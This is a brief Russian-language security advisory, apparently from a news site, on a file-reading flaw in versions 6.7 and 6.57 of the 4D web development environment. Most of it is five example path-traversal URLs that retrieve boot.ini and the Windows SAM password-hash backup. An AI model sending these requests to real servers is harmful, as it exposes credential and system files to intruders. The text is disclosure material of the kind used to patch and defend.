4D – среда для разработки Web-приложений.
Уязвимость позволяет читать файлы на
компьютере.

Уязвимые системы:

4D version 6.7
4D version 6.57

Пример:

http://host/4DBin/_/C:/winnt/repair/sam._
http://host/4DBin/_/../winnt/repair/sam._
http://host/4DBin/_/C:/inetpub/../boot.ini
http://host/4DBin/_/../boot.ini
http://host/4DBin/_/../inetpub/../boot.ini

Оставить мнение